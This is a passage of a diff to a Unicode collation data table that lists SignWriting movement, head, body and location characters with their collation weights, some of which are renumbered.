MOVEMENT-WALLPLANE SINGLE WRIST FLEX +1D92F ; [*18FE.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE STRAIGHT +1D930 ; [*18FF.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE WRIST FLEX +1D931 ; [*1900.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE ALTERNATING +1D932 ; [*1901.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE ALTERNATING WRIST FLEX +1D933 ; [*1902.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CROSS +1D934 ; [*1903.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE STRAIGHT MOVEMENT +1D935 ; [*1904.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE WRIST FLEX +1D936 ; [*1905.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE ALTERNATING +1D937 ; [*1906.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE ALTERNATING WRIST FLEX +1D938 ; [*1907.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND SMALL +1D939 ; [*1908.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND MEDIUM +1D93A ; [*1909.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND LARGE +1D93B ; [*190A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER SMALL +1D93C ; [*190B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER MEDIUM +1D93D ; [*190C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER LARGE +1D93E ; [*190D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER ROTATION +1D93F ; [*190E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK SMALL +1D940 ; [*190F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK MEDIUM +1D941 ; [*1910.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK LARGE +1D942 ; [*1911.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX SMALL +1D943 ; [*1912.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX MEDIUM +1D944 ; [*1913.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX LARGE +1D945 ; [*1914.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG SMALL +1D946 ; [*1915.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG MEDIUM +1D947 ; [*1916.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG LARGE +1D948 ; [*1917.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS SMALL +1D949 ; [*1918.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS MEDIUM +1D94A ; [*1919.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS LARGE +1D94B ; [*191A.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE SINGLE +1D94C ; [*191B.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE DOUBLE +1D94D ; [*191C.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE ALTERNATING +1D94E ; [*191D.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE SINGLE +1D94F ; [*191E.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE DOUBLE +1D950 ; [*191F.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE ALTERNATING +1D951 ; [*1920.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE SHAKING +1D952 ; [*1921.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL SINGLE +1D953 ; [*1922.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL DOUBLE +1D954 ; [*1923.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL TRIPLE +1D955 ; [*1924.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY SMALL +1D956 ; [*1925.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY MEDIUM +1D957 ; [*1926.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY LARGE +1D958 ; [*1927.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY LARGEST +1D959 ; [*1928.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS SMALL +1D95A ; [*1929.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS MEDIUM +1D95B ; [*192A.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS LARGE +1D95C ; [*192B.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS LARGEST +1D95D ; [*192C.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY SMALL +1D95E ; [*192D.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY MEDIUM +1D95F ; [*192E.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY LARGE +1D960 ; [*192F.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY LARGEST +1D961 ; [*1930.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS SMALL +1D962 ; [*1931.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS MEDIUM +1D963 ; [*1932.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS LARGE +1D964 ; [*1933.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS LARGEST +1D965 ; [*1934.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT SMALL +1D966 ; [*1935.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT MEDIUM +1D967 ; [*1936.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT LARGE +1D968 ; [*1937.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT LARGEST +1D969 ; [*1938.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE WRIST FLEX +1D96A ; [*1939.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE STRAIGHT +1D96B ; [*193A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE WRIST FLEX +1D96C ; [*193B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE ALTERNATING +1D96D ; [*193C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE ALTERNATING WRIST FLEX +1D96E ; [*193D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CROSS +1D96F ; [*193E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE STRAIGHT MOVEMENT +1D970 ; [*193F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE WRIST FLEX +1D971 ; [*1940.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE ALTERNATING MOVEMENT +1D972 ; [*1941.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE ALTERNATING WRIST FLEX +1D973 ; [*1942.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BEND +1D974 ; [*1943.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER SMALL +1D975 ; [*1944.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER MEDIUM +1D976 ; [*1945.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER LARGE +1D977 ; [*1946.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CHECK +1D978 ; [*1947.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX SMALL +1D979 ; [*1948.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX MEDIUM +1D97A ; [*1949.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX LARGE +1D97B ; [*194A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG SMALL +1D97C ; [*194B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG MEDIUM +1D97D ; [*194C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG LARGE +1D97E ; [*194D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS SMALL +1D97F ; [*194E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS MEDIUM +1D980 ; [*194F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS LARGE +1D981 ; [*1950.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE SINGLE +1D982 ; [*1951.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE DOUBLE +1D983 ; [*1952.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE ALTERNATING +1D984 ; [*1953.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE SINGLE +1D985 ; [*1954.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE DOUBLE +1D986 ; [*1955.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE ALTERNATING +1D987 ; [*1956.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE SHAKING +1D988 ; [*1957.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER SMALL +1D989 ; [*1958.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER MEDIUM +1D98A ; [*1959.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER LARGE +1D98B ; [*195A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER LARGEST +1D98C ; [*195B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE SMALL +1D98D ; [*195C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE MEDIUM +1D98E ; [*195D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE LARGE +1D98F ; [*195E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE LARGEST +1D990 ; [*195F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THREE-QUARTER CIRCLE SMALL +1D991 ; [*1960.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THREE-QUARTER CIRCLE MEDIUM +1D992 ; [*1961.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP SMALL +1D993 ; [*1962.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP MEDIUM +1D994 ; [*1963.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP LARGE +1D995 ; [*1964.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP SMALL +1D996 ; [*1965.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP MEDIUM +1D997 ; [*1966.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP LARGE +1D998 ; [*1967.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP SMALL DOUBLE +1D999 ; [*1968.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE SMALL +1D99A ; [*1969.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE MEDIUM +1D99B ; [*196A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE LARGE +1D99C ; [*196B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE SMALL +1D99D ; [*196C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE MEDIUM +1D99E ; [*196D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE LARGE +1D99F ; [*196E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THEN STRAIGHT +1D9A0 ; [*196F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVED CROSS SMALL +1D9A1 ; [*1970.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVED CROSS MEDIUM +1D9A2 ; [*1971.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE +1D9A3 ; [*1972.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE +1D9A4 ; [*1973.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATE +1D9A5 ; [*1974.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SHAKING +1D9A6 ; [*1975.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HITTING FRONT WALL +1D9A7 ; [*1976.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP HITTING FRONT WALL +1D9A8 ; [*1977.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP HITTING FRONT WALL +1D9A9 ; [*1978.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE HITTING FRONT WALL +1D9AA ; [*1979.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE HITTING FRONT WALL +1D9AB ; [*197A.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE HITTING FRONT WALL +1D9AC ; [*197B.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATING HITTING FRONT WALL +1D9AD ; [*197C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HITTING CHEST +1D9AE ; [*197D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP HITTING CHEST +1D9AF ; [*197E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP HITTING CHEST +1D9B0 ; [*197F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE HITTING CHEST +1D9B1 ; [*1980.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE HITTING CHEST +1D9B2 ; [*1981.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE HITTING CHEST +1D9B3 ; [*1982.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATING HITTING CHEST +1D9B4 ; [*1983.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH SMALL +1D9B5 ; [*1984.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH MEDIUM +1D9B6 ; [*1985.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH LARGE +1D9B7 ; [*1986.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING CEILING SMALL +1D9B8 ; [*1987.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING CEILING LARGE +1D9B9 ; [*1988.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING SMALL DOUBLE +1D9BA ; [*1989.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING LARGE DOUBLE +1D9BB ; [*198A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING SMALL TRIPLE +1D9BC ; [*198B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING LARGE TRIPLE +1D9BD ; [*198C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING SMALL SINGLE +1D9BE ; [*198D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING LARGE SINGLE +1D9BF ; [*198E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING SMALL DOUBLE +1D9C0 ; [*198F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING LARGE DOUBLE +1D9C1 ; [*1990.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING CEILING SMALL +1D9C2 ; [*1991.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING CEILING LARGE +1D9C3 ; [*1992.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE HITTING CEILING +1D9C4 ; [*1993.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE HITTING CEILING +1D9C5 ; [*1994.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING HITTING CEILING +1D9C6 ; [*1995.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING FLOOR SMALL +1D9C7 ; [*1996.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING FLOOR LARGE +1D9C8 ; [*1997.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR SMALL DOUBLE +1D9C9 ; [*1998.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR LARGE DOUBLE +1D9CA ; [*1999.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR TRIPLE SMALL TRIPLE +1D9CB ; [*199A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR TRIPLE LARGE TRIPLE +1D9CC ; [*199B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR SMALL SINGLE +1D9CD ; [*199C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR LARGE SINGLE +1D9CE ; [*199D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR SMALL DOUBLE +1D9CF ; [*199E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR LARGE DOUBLE +1D9D0 ; [*199F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING FLOOR SMALL +1D9D1 ; [*19A0.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING FLOOR LARGE +1D9D2 ; [*19A1.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE HITTING FLOOR +1D9D3 ; [*19A2.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE HITTING FLOOR +1D9D4 ; [*19A3.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING HITTING FLOOR +1D9D5 ; [*19A4.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE SMALL +1D9D6 ; [*19A5.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE MEDIUM +1D9D7 ; [*19A6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE LARGE +1D9D8 ; [*19A7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE LARGEST +1D9D9 ; [*19A8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE COMBINED +1D9DA ; [*19A9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP SMALL +1D9DB ; [*19AA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP SMALL +1D9DC ; [*19AB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE SNAKE +1D9DD ; [*19AC.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE SMALL +1D9DE ; [*19AD.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE LARGE +1D9DF ; [*19AE.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE +1D9E0 ; [*19AF.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE +1D9E1 ; [*19B0.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING +1D9E2 ; [*19B1.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SHAKING PARALLEL +1D9E3 ; [*19B2.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE SMALL SINGLE +1D9E4 ; [*19B3.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE MEDIUM SINGLE +1D9E5 ; [*19B4.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE SMALL DOUBLE +1D9E6 ; [*19B5.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE MEDIUM DOUBLE +1D9E7 ; [*19B6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL SMALL SINGLE +1D9E8 ; [*19B7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL MEDIUM SINGLE +1D9E9 ; [*19B8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL LARGE SINGLE +1D9EA ; [*19B9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL SMALL DOUBLE +1D9EB ; [*19BA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL MEDIUM DOUBLE +1D9EC ; [*19BB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL LARGE DOUBLE +1D9ED ; [*19BC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WRIST CIRCLE FRONT SINGLE +1D9EE ; [*19BD.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WRIST CIRCLE FRONT DOUBLE +1D9EF ; [*19BE.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WRIST CIRCLE HITTING WALL SINGLE +1D9F0 ; [*19BF.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WRIST CIRCLE HITTING WALL DOUBLE +1D9F1 ; [*19C0.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CIRCLES SINGLE +1D9F2 ; [*19C1.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CIRCLES DOUBLE +1D9F3 ; [*19C2.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CIRCLES HITTING WALL SINGLE +1D9F4 ; [*19C3.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CIRCLES HITTING WALL DOUBLE +1D9F5 ; [*19C4.0020.0002] # SIGNWRITING DYNAMIC ARROWHEAD SMALL +1D9F6 ; [*19C5.0020.0002] # SIGNWRITING DYNAMIC ARROWHEAD LARGE +1D9F7 ; [*19C6.0020.0002] # SIGNWRITING DYNAMIC FAST +1D9F8 ; [*19C7.0020.0002] # SIGNWRITING DYNAMIC SLOW +1D9F9 ; [*19C8.0020.0002] # SIGNWRITING DYNAMIC TENSE +1D9FA ; [*19C9.0020.0002] # SIGNWRITING DYNAMIC RELAXED +1D9FB ; [*19CA.0020.0002] # SIGNWRITING DYNAMIC SIMULTANEOUS +1D9FC ; [*19CB.0020.0002] # SIGNWRITING DYNAMIC SIMULTANEOUS ALTERNATING +1D9FD ; [*19CC.0020.0002] # SIGNWRITING DYNAMIC EVERY OTHER TIME +1D9FE ; [*19CD.0020.0002] # SIGNWRITING DYNAMIC GRADUAL +1D9FF ; [*19CE.0020.0002] # SIGNWRITING HEAD 1DA00 ; [.0000.0000.0000] # SIGNWRITING HEAD RIM 1DA01 ; [.0000.0000.0000] # SIGNWRITING HEAD MOVEMENT-WALLPLANE STRAIGHT 1DA02 ; [.0000.0000.0000] # SIGNWRITING HEAD MOVEMENT-WALLPLANE TILT @@ -5953,10 +5881,10 @@ FFFC ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER 1DA34 ; [.0000.0000.0000] # SIGNWRITING NOSE WIGGLES 1DA35 ; [.0000.0000.0000] # SIGNWRITING AIR BLOWING OUT 1DA36 ; [.0000.0000.0000] # SIGNWRITING AIR SUCKING IN -1DA37 ; [*1A3F.0020.0002] # SIGNWRITING AIR BLOW SMALL ROTATIONS -1DA38 ; [*1A40.0020.0002] # SIGNWRITING AIR SUCK SMALL ROTATIONS -1DA39 ; [*1A41.0020.0002] # SIGNWRITING BREATH INHALE -1DA3A ; [*1A42.0020.0002] # SIGNWRITING BREATH EXHALE +1DA37 ; [*19CF.0020.0002] # SIGNWRITING AIR BLOW SMALL ROTATIONS +1DA38 ; [*19D0.0020.0002] # SIGNWRITING AIR SUCK SMALL ROTATIONS +1DA39 ; [*19D1.0020.0002] # SIGNWRITING BREATH INHALE +1DA3A ; [*19D2.0020.0002] # SIGNWRITING BREATH EXHALE 1DA3B ; [.0000.0000.0000] # SIGNWRITING MOUTH CLOSED NEUTRAL 1DA3C ; [.0000.0000.0000] # SIGNWRITING MOUTH CLOSED FORWARD 1DA3D ; [.0000.0000.0000] # SIGNWRITING MOUTH CLOSED CONTACT @@ -6007,37 +5935,37 @@ FFFC ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER 1DA6A ; [.0000.0000.0000] # SIGNWRITING NECK 1DA6B ; [.0000.0000.0000] # SIGNWRITING HAIR 1DA6C ; [.0000.0000.0000] # SIGNWRITING EXCITEMENT -1DA6D ; [*1A43.0020.0002] # SIGNWRITING SHOULDER HIP SPINE -1DA6E ; [*1A44.0020.0002] # SIGNWRITING SHOULDER HIP POSITIONS -1DA6F ; [*1A45.0020.0002] # SIGNWRITING WALLPLANE SHOULDER HIP MOVE -1DA70 ; [*1A46.0020.0002] # SIGNWRITING FLOORPLANE SHOULDER HIP MOVE -1DA71 ; [*1A47.0020.0002] # SIGNWRITING SHOULDER TILTING FROM WAIST -1DA72 ; [*1A48.0020.0002] # SIGNWRITING TORSO-WALLPLANE STRAIGHT STRETCH -1DA73 ; [*1A49.0020.0002] # SIGNWRITING TORSO-WALLPLANE CURVED BEND -1DA74 ; [*1A4A.0020.0002] # SIGNWRITING TORSO-FLOORPLANE TWISTING +1DA6D ; [*19D3.0020.0002] # SIGNWRITING SHOULDER HIP SPINE +1DA6E ; [*19D4.0020.0002] # SIGNWRITING SHOULDER HIP POSITIONS +1DA6F ; [*19D5.0020.0002] # SIGNWRITING WALLPLANE SHOULDER HIP MOVE +1DA70 ; [*19D6.0020.0002] # SIGNWRITING FLOORPLANE SHOULDER HIP MOVE +1DA71 ; [*19D7.0020.0002] # SIGNWRITING SHOULDER TILTING FROM WAIST +1DA72 ; [*19D8.0020.0002] # SIGNWRITING TORSO-WALLPLANE STRAIGHT STRETCH +1DA73 ; [*19D9.0020.0002] # SIGNWRITING TORSO-WALLPLANE CURVED BEND +1DA74 ; [*19DA.0020.0002] # SIGNWRITING TORSO-FLOORPLANE TWISTING 1DA75 ; [.0000.0000.0000] # SIGNWRITING UPPER BODY TILTING FROM HIP JOINTS -1DA76 ; [*1A4B.0020.0002] # SIGNWRITING LIMB COMBINATION -1DA77 ; [*1A4C.0020.0002] # SIGNWRITING LIMB LENGTH-1 -1DA78 ; [*1A4D.0020.0002] # SIGNWRITING LIMB LENGTH-2 -1DA79 ; [*1A4E.0020.0002] # SIGNWRITING LIMB LENGTH-3 -1DA7A ; [*1A4F.0020.0002] # SIGNWRITING LIMB LENGTH-4 -1DA7B ; [*1A50.0020.0002] # SIGNWRITING LIMB LENGTH-5 -1DA7C ; [*1A51.0020.0002] # SIGNWRITING LIMB LENGTH-6 -1DA7D ; [*1A52.0020.0002] # SIGNWRITING LIMB LENGTH-7 -1DA7E ; [*1A53.0020.0002] # SIGNWRITING FINGER -1DA7F ; [*1A54.0020.0002] # SIGNWRITING LOCATION-WALLPLANE SPACE -1DA80 ; [*1A55.0020.0002] # SIGNWRITING LOCATION-FLOORPLANE SPACE -1DA81 ; [*1A56.0020.0002] # SIGNWRITING LOCATION HEIGHT -1DA82 ; [*1A57.0020.0002] # SIGNWRITING LOCATION WIDTH -1DA83 ; [*1A58.0020.0002] # SIGNWRITING LOCATION DEPTH +1DA76 ; [*19DB.0020.0002] # SIGNWRITING LIMB COMBINATION +1DA77 ; [*19DC.0020.0002] # SIGNWRITING LIMB LENGTH-1 +1DA78 ; [*19DD.0020.0002] # SIGNWRITING LIMB LENGTH-2 +1DA79 ; [*19DE.0020.0002] # SIGNWRITING LIMB LENGTH-3 +1DA7A ; [*19DF.0020.0002] # SIGNWRITING LIMB LENGTH-4 +1DA7B ; [*19E0.0020.0002] # SIGNWRITING LIMB LENGTH-5 +1DA7C ; [*19E1.0020.0002] # SIGNWRITING LIMB LENGTH-6 +1DA7D ; [*19E2.0020.0002] # SIGNWRITING LIMB LENGTH-7 +1DA7E ; [*19E3.0020.0002] # SIGNWRITING FINGER +1DA7F ; [*19E4.0020.0002] # SIGNWRITING LOCATION-WALLPLANE SPACE +1DA80 ; [*19E5.0020.0002] # SIGNWRITING LOCATION-FLOORPLANE SPACE +1DA81 ; [*19E6.0020.0002] # SIGNWRITING LOCATION HEIGHT +1DA82 ; [*19E7.0020.0002] # SIGNWRITING LOCATION WIDTH +1DA83 ; [*19E8.0020.0002] # SIGNWRITING LOCATION DEPTH 1DA84 ; [.0000.0000.0000] # SIGNWRITING LOCATION HEAD NECK -1DA85 ; [*1A59.0020.0002] # SIGNWRITING LOCATION TORSO -1DA86 ; [*1A5A.0020.0002] # SIGNWRITING LOCATION LIMBS DIGITS -1DA87 ; [*047D.0020.0002] # SIGNWRITING COMMA -1DA88 